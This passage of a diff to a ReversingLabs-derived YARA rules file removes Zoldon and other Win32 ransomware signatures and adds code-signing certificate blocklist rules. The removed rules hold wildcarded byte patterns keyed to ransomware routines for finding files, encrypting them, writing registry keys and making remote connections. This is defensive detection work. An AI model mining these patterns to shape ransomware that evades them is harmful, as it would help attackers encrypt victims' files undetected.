89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 85 C0 0F 86 ?? - ?? ?? ?? 0F B6 11 80 FA ?? 75 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 ?? E9 ?? - ?? ?? ?? 80 FA ?? 74 ?? 89 44 24 ?? 89 8C 24 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8B 15 - ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 89 6C 24 ?? 89 5C 24 ?? 89 54 24 ?? - E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 - ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 11 - } - $find_files_p2 = { - 81 FA ?? ?? ?? ?? 75 ?? 0F B7 51 ?? 66 81 FA ?? ?? 75 ?? 0F B6 51 ?? 80 FA ?? 0F 84 - ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? - ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 - 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? - 8B 44 24 ?? 8D 48 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 39 E9 7F ?? 8B B4 24 ?? ?? - ?? ?? 8D 7C C6 ?? 89 1F 8D 04 C6 8B 1D ?? ?? ?? ?? 85 DB 75 ?? 89 10 89 E8 89 CA 89 - F1 E9 ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? 89 4C 24 ?? 89 6C 24 ?? 89 04 24 89 54 24 ?? - E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B 6C 24 ?? 8B B4 24 ?? ?? ?? ?? EB ?? 89 94 24 ?? ?? ?? - ?? 89 5C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24 - ?? 89 6C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 74 24 ?? 8B 44 24 ?? 8B 6C 24 ?? 8D 48 - ?? 8B 44 24 ?? 8B 94 24 ?? ?? ?? ?? 8B 5C 24 ?? E9 ?? ?? ?? ?? 8D 54 24 ?? 89 14 24 - 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? - 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 - ?? 8B 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 40 ?? 8B - } - $find_files_p3 = { - 8C 24 ?? ?? ?? ?? 89 0C 24 FF D0 8B 44 24 ?? 8B 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? - ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 89 04 24 89 4C 24 ?? 8B 15 - ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 89 6C 24 ?? 89 5C 24 ?? 89 54 24 ?? - E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 - ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 - 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? C7 04 24 ?? ?? ?? ?? 8B 94 24 ?? - ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? - C7 44 24 ?? ?? ?? ?? ?? 8B 74 24 ?? 89 74 24 ?? 8B 74 24 ?? 89 74 24 ?? E8 ?? ?? ?? - ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 94 24 ?? ?? ?? ?? 89 14 24 8B - 5C 24 ?? 89 5C 24 ?? 8B 2D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 6C 24 - ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 0F 84 ?? ?? ?? ?? 8B - 84 24 ?? ?? ?? ?? 85 C0 0F 86 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 0F B6 08 83 C1 ?? 88 - 4C 24 ?? 0F B6 08 83 C1 ?? 88 4C 24 ?? 8D 0D ?? ?? ?? ?? 89 0C 24 8B 15 ?? ?? ?? ?? - 89 54 24 ?? 8D 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8D 51 ?? 8B - 18 8B 40 ?? 39 C2 0F 8F ?? ?? ?? ?? 89 9C 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D - } - $find_files_p4 = { - 6C CB ?? 8B 74 24 ?? 89 75 ?? 8B 2D ?? ?? ?? ?? 8D 0C CB 85 ED 75 ?? 8B 6C 24 ?? 89 - 29 8D 05 ?? ?? ?? ?? 89 04 24 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 8D 4C 24 ?? 89 4C 24 ?? - E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? - ?? 85 C9 75 ?? 8B 8C 24 ?? ?? ?? ?? 89 08 8B 6C 24 ?? 8B 4C 24 ?? 8B B4 24 ?? ?? ?? - ?? E9 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 - 0C 24 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 4C 24 ?? 8D 2D ?? ?? ?? ?? 89 - 2C 24 89 5C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 8B - 44 24 ?? 8B 4C 24 ?? 8D 50 ?? 89 C8 8B 4C 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? - 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? - ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B - 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0 - 0F 86 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 0F B6 08 88 4C 24 ?? 0F B6 08 88 4C 24 ?? 8D - } - $find_files_p5 = { - 0D ?? ?? ?? ?? 89 0C 24 8B 15 ?? ?? ?? ?? 89 54 24 ?? 8D 54 24 ?? 89 54 24 ?? E8 ?? - ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8D 51 ?? 8B 18 8B 40 ?? 39 C2 0F 8F ?? ?? ?? ?? 89 9C - 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D 6C CB ?? 8B 74 24 ?? 89 75 ?? 8B 2D ?? ?? - ?? ?? 8D 0C CB 85 ED 75 ?? 8B 6C 24 ?? 89 29 8D 05 ?? ?? ?? ?? 89 04 24 8B 0D ?? ?? - ?? ?? 89 4C 24 ?? 8D 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 - 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 8B 8C 24 ?? ?? ?? ?? 89 08 - E9 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? - ?? 89 0C 24 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 4C 24 ?? 8D 2D ?? ?? ?? - ?? 89 2C 24 89 5C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 - ?? 8B 44 24 ?? 8B 4C 24 ?? 8D 50 ?? 89 C8 8B 4C 24 ?? E9 ?? ?? ?? ?? 89 AC 24 ?? ?? - ?? ?? 89 8C 24 ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 8C 24 ?? ?? ?? - ?? 89 84 24 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 E8 - } - $encrypt_files_p1 = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC - ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? - ?? ?? ?? ?? 8B 40 ?? 89 04 24 8D 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 84 - 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 15 ?? ?? ?? ?? 39 CA 0F 85 ?? ?? ?? ?? 8B 48 - ?? 89 4C 24 ?? 8B 00 89 84 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 - ?? 8B 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 44 - 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? C6 44 24 ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? - ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 8D 54 24 ?? 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? - 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8D AC 24 ?? ?? ?? ?? 89 6C 24 ?? 89 4C 24 ?? 89 - 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F - 85 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? C7 44 24 ?? ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? - 85 D2 0F 85 ?? ?? ?? ?? 89 44 24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 0D ?? ?? ?? - ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24 - ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 85 D2 0F 85 ?? ?? - ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 - } - $encrypt_files_p2 = { - 85 C0 0F 85 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 54 - 24 ?? 89 54 24 ?? 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C - 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? - 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? - 8B 5C 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 89 1C 24 89 54 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B - 4C 24 ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? - 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? - ?? 8B 2D ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? - 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24 - ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 89 1C 24 8B 6C 24 ?? 89 6C 24 ?? - 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 - ?? 85 C0 0F 85 ?? ?? ?? ?? 31 C0 EB ?? 8B 4C 24 ?? 8B 54 24 ?? 8D 04 0A 89 44 24 ?? - 8B 4C 24 ?? 89 0C 24 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 6C - 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B - 54 24 ?? 89 54 24 ?? 85 C9 74 ?? 8B 1D ?? ?? ?? ?? 39 D9 0F 85 ?? ?? ?? ?? 89 0C 24 - } - $encrypt_files_p3 = { - 89 54 24 ?? 8B 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 0F 84 - ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? 89 4C 24 ?? E8 ?? ?? - ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 39 EB 0F 87 ?? ?? - ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 74 24 ?? 8B 7E ?? 89 44 24 ?? 89 4C 24 - ?? 89 54 24 ?? 8B B4 24 ?? ?? ?? ?? 89 74 24 ?? 89 5C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? - 89 2C 24 FF D7 8B 44 24 ?? 8B 48 ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? - 8B 6C 24 ?? 89 6C 24 ?? 8B 74 24 ?? 89 34 24 FF D1 8B 44 24 ?? 89 04 24 8B 4C 24 ?? - 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 - ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 4C 24 ?? 39 C1 0F 85 ?? ?? ?? ?? 89 - 0C 24 8B 44 24 ?? 89 44 24 ?? 8B 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 0F B6 44 - 24 ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 44 24 ?? B9 ?? ?? ?? ?? F7 E9 8B 44 24 ?? 01 C2 C1 F8 ?? C1 FA ?? 29 C2 89 D0 - 89 D3 F7 E9 8D 04 13 C1 F8 ?? C1 FB ?? 29 D8 83 C0 ?? 89 44 24 ?? 31 C9 EB ?? 8B 54 - 24 ?? 8D 4A ?? 8B 44 24 ?? 39 C1 7D ?? 89 4C 24 ?? 8B 44 24 ?? 89 04 24 8D 0D ?? ?? - ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? 90 - E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 90 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "20:50:b5:41:46:b0:11:ed:30:f6:0f:61" and 1476773926 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Zoldon : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_73E2F34C9C2435F29Bbe0A3C : INFO FILE { meta: - description = "Yara rule that detects Zoldon ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5d28e6f0-9d6b-54f4-81ed-aadb58352c80" - date = "2020-06-26" - modified = "2020-07-15" + id = "284c206f-8a0c-5bb6-8f28-d8e5e60efe3e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Zoldon.yara#L1-L107" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13404-L13420" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4821b8506e7ba00987978f2744da1c532e03d73f3275cb15e39cdf87f6018223" + logic_hash = "503429e737e8bdad735cf88e2bb2877d1f52b2c38be101a7a129c02db608a347" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Zoldon" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $main_encrypt_function_p1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? - ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 55 ?? 89 45 ?? - 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 - 64 89 20 E8 ?? ?? ?? ?? DD 5D ?? 9B 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? FF 75 ?? FF - 75 ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? B2 ?? - A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B1 ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? - 3C ?? 0F 85 ?? ?? ?? ?? B0 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? - 84 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 - 80 ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 66 C7 45 - } - $main_encrypt_function_p2 = { - 8D 85 ?? ?? ?? ?? 66 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 66 83 7D - ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 66 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 66 FF 45 ?? 66 83 7D - ?? ?? 75 ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? 33 C9 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 - 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? - E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 - } - $write_zoldon_regkey = { - 55 8B EC 83 C4 ?? 53 56 33 DB 89 5D ?? 88 4D ?? 8B DA 8B F0 33 C0 55 68 ?? ?? ?? ?? - 64 FF 30 64 89 20 8D 45 ?? 8B D3 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D8 84 DB - 75 ?? 8D 45 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 89 45 ?? 80 7D ?? - ?? 74 ?? 83 7D ?? ?? 75 ?? 8D 45 ?? 50 8B 46 ?? 50 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 - 8B D3 8B C6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 88 45 ?? EB - ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 8B 46 ?? 50 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? - ?? 50 8B D3 8B C6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 88 45 - ?? 80 7D ?? ?? 74 ?? 83 7E ?? ?? 0F 95 C0 84 D8 74 ?? FF 76 ?? 68 ?? ?? ?? ?? FF 75 - ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 33 - C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 - } - $find_files_p1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? - ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ?? - 89 45 ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? - 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 - C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 - ?? 80 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 - 74 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? - ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 - 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B - } - $find_files_p2 = { - 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? - ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? E9 ?? ?? - ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D - 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? - ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? - ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D - 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? - ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? - ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 85 C0 0F 84 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 - ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? 